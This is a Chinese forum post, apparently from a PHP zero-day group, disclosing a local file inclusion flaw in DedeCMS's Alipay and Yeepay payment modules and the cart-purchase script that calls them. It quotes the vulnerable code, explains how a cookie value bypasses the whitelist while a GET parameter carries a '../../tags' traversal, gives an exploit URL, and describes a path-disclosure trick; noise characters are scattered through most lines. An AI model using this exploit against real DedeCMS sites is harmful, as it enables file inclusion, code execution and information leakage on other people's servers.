晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯) ^& R* e/ B5 Q. c2 I7 _
6 @+ I2 N6 D9 ]4 a4 L出现漏洞的两个文件为:
* ^' w) N, L3 {( w9 t( U8 \& HInclude/payment/alipay.php. w. w4 c& c+ Z. T
Include/payment/yeepay.php
+ E. ^6 p$ k2 C8 D/ U4 \漏洞均出现在respond方法里,估计这两个文件是临时工写的。5 ^" s1 }1 Q$ ^) X
; d' _8 h( I: R3 A* r5 p$ b
Include/payment/alipay.php B$ h, D( K2 f0 R4 S1 z$ z
& G0 ~) O" ?+ s9 A/ _$ u
......1 k& e- \/ ]5 O) Y+ g- O3 T
function respond(), P+ y( J) M/ x- x
{# Y3 |9 R j0 T, B- d
if (!empty($_POST))
" T" q7 a& ]: r {
3 J! T8 p( C8 X, n3 V foreach($_POST as $key => $data)9 }5 b& d3 N4 H/ e" U! P7 [! u/ ?
{( C. F8 Y% M) o4 g2 I+ P' |: T
$_GET[$key] = $data;
$ h V5 Y* Z* j' Q. h, k) c" Y: b }
/ O8 @8 z' `8 H, g4 T }
/ ~& Q8 l! z* g# a /* 引入配置文件 */
. Y/ Y; v$ h1 Y+ w/ H require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';' A# a) r' i5 i, o
......
/ y; j, ?+ ]" a& c7 c) ?. S) d
^! Q8 j! E: C I
3 R X/ [: P5 g; P: t1 o大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。! a0 D' e7 q* {1 N$ }
# `2 I* g5 d: o6 I+ m; C3 h d
Include/payment/yeepay.php$ L! Z, U9 r3 X
7 S5 N' A+ {. v8 M) u3 G
+ G1 I3 V9 f6 J) W$ v6 {- s1 [* c- p
: P- @) u7 e3 a, t& x5 G......
p B% a5 N' w7 x function respond()
, U) d% Y: [6 V- V {
5 D: \0 N! ]. v3 |
p' `6 \# e2 y2 W; I /* 引入配置文件 */
9 E7 x, S1 T0 t8 {/ C! b require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';/ N, G* }! `9 U2 [ i: o! h& D
( ~ s* p6 L; L7 H1 L $p1_MerId = trim($payment['yp_account']);
/ F: ?% @4 o' h) R3 o $merchantKey = trim($payment['yp_key']);5 f9 D4 J. G: c9 w
...... 1 ~5 `3 k- |/ U
0 u, m2 X/ i2 ^0 F k
4 }- c0 T& z1 c+ o
! q; q; J! z; A, |8 Q( @ P1 ~) @6 D* L0 d( y+ {
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
+ o! Y% G( a6 m: A& u4 g$ ?6 w
) ^# _4 |- e! ~+ m k, b; S这两个方法在plus/carbuyaction.php文件调用。, o" n9 N7 k1 Y' p' u0 n* I0 `
/ m7 f$ B I$ [. u8 I/ D; `plus/carbuyaction.php. g0 l4 X1 f2 S3 h$ b4 Y
1 y& l3 g0 [4 d, j4 d/ \2 y
......+ i0 W6 N) Z. f
} else if ($dopost == 'return') {
$ w6 Q* a- m0 Q" J; N- p8 `5 t6 u $write_list = array('alipay', 'bank', 'cod', 'yeepay');
- }' N. J+ w. A9 V5 Q if (in_array($code, $write_list))7 [( y" t1 P+ @! _
{+ v) c# k) U/ T% C4 K+ U
require_once DEDEINC.'/payment/'.$code.'.php';' H! ?; W, y" k1 v$ ` ^+ l- @
$pay = new $code;
$ T0 T+ w- `8 L4 C& ^% b$ ? $msg=$pay->respond();
/ v" d9 S: A3 F% |2 ? ShowMsg($msg, "javascript:;", 0, 3000);/ j/ N7 @9 x2 p1 J; d
exit();
( ^1 z7 R7 R5 w; y# y } else {
6 G# _2 T" p" H% \ exit('Error:File Type Can\'t Recognized!');
$ B q5 I; C" ~1 m/ S6 f8 f7 R }
" }. ?- R3 x( z+ h) X+ K" M+ l}
9 d) w3 @ O1 O...... ) B# Z7 e4 p2 b- n9 u
/ d; ]/ l5 \* i) H5 v3 E% c; |# p7 C( q
/ r. c6 w; E$ e& C: S$ e% J $ b' i, P( U# F6 I& [- J+ U
) q# E* ~7 y/ Z% D. n m+ F
3 _2 v/ u* M' L( H; i4 p4 p4 A
8 [, e8 L8 Q: \2 V) l: z: Z
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
& D. Z" |" i) N4 e) l所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。, E) @* v7 `: N# t* L& N. u
- A0 p9 O0 V; D# @
回到include/common.inc.php来看看他的机制。
; |% T8 l; e$ H; s/ |* T! v( l9 }# \! X* D" I- E
7 _% w: t. ]3 ?5 R, a( E- K7 J: N$ K
% _" V+ K/ W) D. R- n
......
& c# k/ o4 q- ?9 Eforeach(Array('_GET','_POST','_COOKIE') as $_request)0 V2 f5 X$ ?. X3 w) j
{" V1 k7 {0 u' f3 f! T. k1 [ W
foreach($$_request as $_k => $_v)
, f4 u. u" g- H. k$ B, A$ S% @! L {
' ]& F; t ?; K+ |, R5 x; `% ^ if($_k == 'nvarname') ${$_k} = $_v;6 M0 z# _- {1 `) A) X
else ${$_k} = _RunMagicQuotes($_v);! v8 Z5 b# D- w5 @/ N7 v) \
}
5 L& d$ F% N7 U) s+ N+ T3 c( `# D}# m. k2 }: p# M" p* f
...... , X0 b: Y: p1 p( r y
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:. Y% E& v, Y3 U' J- Z! M
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |